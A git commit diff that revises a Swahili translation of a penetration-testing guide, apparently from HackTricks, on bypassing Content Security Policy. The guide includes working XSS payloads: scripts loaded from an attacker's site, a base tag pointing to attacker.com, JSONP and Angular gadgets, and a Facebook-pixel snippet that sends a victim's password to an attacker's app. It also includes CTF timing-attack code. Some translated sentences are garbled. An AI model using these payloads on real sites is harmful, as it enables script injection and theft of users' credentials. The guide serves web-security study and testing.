Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM

This commit is contained in:
Translator 2025-01-26 15:23:22 +00:00
parent d6c1ef2e26
commit d7b3deb7ce

View File

@ -4,9 +4,9 @@
## What is CSP
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha anuwai ya vipengele kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`.
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha vipengele mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`.
Utekelezaji wa CSP unafanywa kupitia **response headers** au kwa kuingiza **meta elements kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
- Implemented via response header:
```
@ -25,7 +25,7 @@ CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
### Defining Resources
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama vile utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
```bash
default-src 'none';
img-src 'self';
@ -94,12 +94,12 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `https:`: Inapunguza URL kwa zile zinazotumia HTTPS.
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizo tengenezwa kupitia JavaScript).
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka mfumo wa faili.
- `'report-sample'`: Inajumuisha sampuli ya msimbo unaovunja sheria katika ripoti ya uvunjaji (inafaa kwa ufuatiliaji wa makosa).
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki za vyanzo vinavyolingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili tu wakati ombi ni la asili tofauti.
- `'report-sample'`: Inajumuisha sampuli ya msimbo unaokiuka katika ripoti ya ukiukaji (inafaa kwa urekebishaji).
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma tu asili wakati ombi ni la kuvuka asili.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitarudisha mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
## Sheria za CSP zisizo salama
## Kanuni za CSP zisizo salama
### 'unsafe-inline'
```yaml
@ -120,19 +120,19 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Kazi ya payload:
Kifaa kinachofanya kazi:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Ikiwa unaweza kwa namna fulani kufanya **kodikali ya JS inayoruhusiwa kuunda tagi mpya ya script** katika DOM na kodikali yako ya JS, kwa sababu script inayoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
Ikiwa unaweza kwa namna fulani kufanya **kodhi ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodhi yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Kazi ya payload:
Kifaa kinachofanya kazi:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
@ -153,9 +153,9 @@ Inafanya kazi payloads:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ikiwa unaweza kupakia faili la JS unaweza kupita hii CSP:
Ikiwa unaweza kupakia faili la JS unaweza kupita CSP hii:
Payload inayofanya kazi:
Kifaa kinachofanya kazi:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
@ -200,7 +200,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au maktaba nyingine zozote za JS zilizoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka maktaba zipi zinazorudisha kipande cha `window`**.
> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kipande cha `window`**.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -266,9 +266,9 @@ URL ifuatayo inarejelea example.com (kutoka [hapa](https://www.landh.tech/blog/2
```
https://www.google.com/amp/s/example.com/
```
Kunyanyasa \*.google.com/script.google.com
Kunyanyaswa \*.google.com/script.google.com
Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Inawezekana kunyanyaswa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Mipangilio ya Tatu + JSONP
```http
@ -286,24 +286,24 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.**
Uthibitisho sawa utaweza kutokea ikiwa **kiungo kilichotolewa kina Open Redirect** kwa sababu ikiwa kiungo cha awali kinatambulika, redirects zinatambulika.
Uthibitisho sawa utaweza kutokea ikiwa **kiwango kinachotegemewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinatambulika, redirects zinatambulika.
### Matumizi Mabaya ya Viongozi wa Tatu
### Matumizi Mabaya ya Watu wa Tatu
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya viongozi wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya viongozi hawa wa tatu ni:
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya watu wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya watu hawa wa tatu ni:
| Kitu | Domain Iliyoruhusiwa | Uwezo |
| ----------------- | --------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Kitu | Tovuti Iliyoruhusiwa | Uwezo |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Ikiwa utapata yoyote ya maeneo yaliyoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya mtu wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Ikiwa utapata mojawapo ya tovuti zilizoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya mtu wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Kwa mfano, ikiwa utapata CSP ifuatayo:
```
@ -318,18 +318,18 @@ Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Goog
1. Unda akaunti ya Mdevelopment ya Facebook hapa.
2. Unda programu mpya ya "Facebook Login" na uchague "Website".
3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili:
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya Facebook ya mshambuliaji na kutoa tukio maalum kama hili:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Rejelea [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.
Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
@ -341,11 +341,11 @@ Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inawez
```
Brahara hatimaye itapakia `https://example.com/scripts/angular/angular.js`.
Hii inafanya kazi kwa sababu kwa brahara, unachukua faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
Hii inafanya kazi kwa sababu kwa brahara, unachukua faili inayoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
Kwa **kutumia ubaya huu katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya brahara na seva ili kuepuka tatizo hili.
@ -361,21 +361,21 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Zaidi ya hayo, ikiwa **ukurasa unachukua script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya iwe **pakiwa** script kutoka **seva yako mwenyewe kufikia XSS.**\
Zaidi ya hayo, ikiwa **ukurasa unachukua script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya **ipakie** script kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unachukuliwa na **httpS**, tumia URL ya httpS katika base.
```html
<base href="https://www.attacker.com/" />
```
### Matukio ya AngularJS
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu cha asili cha tukio la kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuvunja CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, ambapo kitu cha `window` daima kiko mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu cha asili cha matukio ya kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuzunguka CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, kinachoshikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, ambapo kitu cha `window` kipo daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuzunguka juu yake, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Hii sehemu inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia kituo cha `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
Hii sehemu inaonyesha matumizi ya `ng-focus` directive ili kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia kituo cha `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
**Pata bypass nyingine za Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -397,9 +397,9 @@ Other JSONP arbitrary execution endpoints can be found in [**here**](https://git
### Bypass via Redirection
Nini hutokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea chanzo tofauti ambacho hakiruhusiwi, bado utaanguka.
Nini kinatokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea kwenye asili tofauti ambayo hairuhusiwi, bado itashindwa.
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unapelekea njia tofauti, inaweza kupita vizuizi vya awali.
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unapelekea kwenye njia tofauti, inaweza kupita vizuizi vya awali.
Here's an example:
```html
@ -423,7 +423,7 @@ Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inachukul
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haitachukuliwa**, na **skripti inaweza kupakiwa**, hivyo kuzunguka kikomo cha njia.
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itazungukwa.
Kwa kuelekezwa hivi, hata kama njia imeelezwa kikamilifu, bado itazungukwa.
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Unaweza pia kutumia usanidi huu **kuchaji msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kuchaji picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" ili **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo itachaji **picha**, **kuondoa** **JS** kutoka kwake na **kuitekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Unaweza pia kutumia usanidi huu **kuchaji msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kuchaji picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" ili **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **kuchaji** **picha**, **kuondoa** **JS** kutoka kwake na **kutekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Kwa Wafanyakazi wa Huduma
Kazi za wafanyakazi wa huduma **`importScripts`** hazipunguzwi na CSP:
Kazi ya wafanyakazi wa huduma **`importScripts`** haipunguzwi na CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
@ -462,7 +462,7 @@ Kazi za wafanyakazi wa huduma **`importScripts`** hazipunguzwi na CSP:
#### Chrome
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu skripti 'unsafe-inline'** na yoyote ya hizi bypasses:
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu script 'unsafe-inline'** na mojawapo ya hizi bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -472,15 +472,15 @@ Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge_csp_injection_xndhf
#### Edge
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **ondoa** sera **nzima**.\
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **afuta** sera nzima.\
Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
Tazama ukosefu wa agizo `'unsafe-inline'`\
Wakati huu unaweza kumfanya mwathirika **paku** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unakwenda kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ukurasa unahitaji kupakia** unaweza kutoa taarifa unayohitaji.
Wakati huu unaweza kumfanya mwathirika **kupakia** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unataka kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ukurasa unahitaji kupakia** unaweza kutoa taarifa unazohitaji.
Wakati huu **bendera** itakuwa inatoa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya usingizi. Kisha, utaweza kutoa bendera:
Wakati huu **bendera** itatoa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya usingizi. Kisha, utaweza kutoa bendera:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -542,15 +542,15 @@ run()
```
### Via Bookmarklets
Shambulio hili litahitaji uhandisi wa kijamii ambapo mshambuliaji **anawashawishi watumiaji kuburuta na kuacha kiungo juu ya bookmarklet ya kivinjari**. Huu bookmarklet utakuwa na **kodhi mbaya ya javascript** ambayo itatekelezwa katika muktadha wa dirisha la wavuti la sasa, **ikiepuka CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au tokeni.
Shambulio hili litahitaji uhandisi wa kijamii ambapo mshambuliaji **anawashawishi watumiaji kuburuta na kuacha kiungo juu ya bookmarklet ya kivinjari**. Huu bookmarklet utakuwa na **msimbo wa javascript mbaya** ambao unapoburuzwa na kuachwa au kubonyezwa utaanzishwa katika muktadha wa dirisha la wavuti la sasa, **ukipita CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au tokeni.
Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapita kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye ukaguzi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
Unaweza **kuzuia CSP ya Iframe** kwa kutumia **`csp`** sifa:
Unaweza **kudhibiti CSP ya Iframe** kwa kutumia **`csp`** sifa:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
@ -568,7 +568,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Ikiwa unaweza kusababisha seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kuifanya iangalie seva yako na ikiwa unafanya **wrap** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ni uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
Ikiwa unaweza kusababisha seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ina uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -580,12 +580,12 @@ document.querySelector("DIV").innerHTML =
### Kueneza Taarifa kwa CSP na Iframe
- `iframe` inaundwa inayolenga URL (tuiite `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
- URL hii kisha inarejelea URL ya siri (mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa cha URI iliyozuiwa, ikieneza jina la siri ambalo URL ya awali ilirejelea.
- URL hii kisha inaelekeza kwenye URL ya siri (mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa cha URI iliyozuiwa, ikivuja jina la siri la kikoa ambacho URL ya awali ilielekeza.
Ni ya kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha uwezekano wa kueneza taarifa nyeti kutokana na tabia isiyoeleweka.
Ni ya kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha uvujaji wa taarifa nyeti kutokana na tabia isiyoeleweka.
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiya au kuruhusu subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiwa au kuruhusiwa subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -603,8 +603,8 @@ Kulingana na [**mbinu ya mwisho iliyozungumziwa katika video hii**](https://www.
### Kupita kwa buffer ya majibu ya PHP
PHP inajulikana kwa **kufanya buffering ya majibu hadi 4096** bytes kwa default. Hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya onyo**, **majibu** yatatumwa **kabla** ya **CSP header**, na kusababisha header ipuuzwe.\
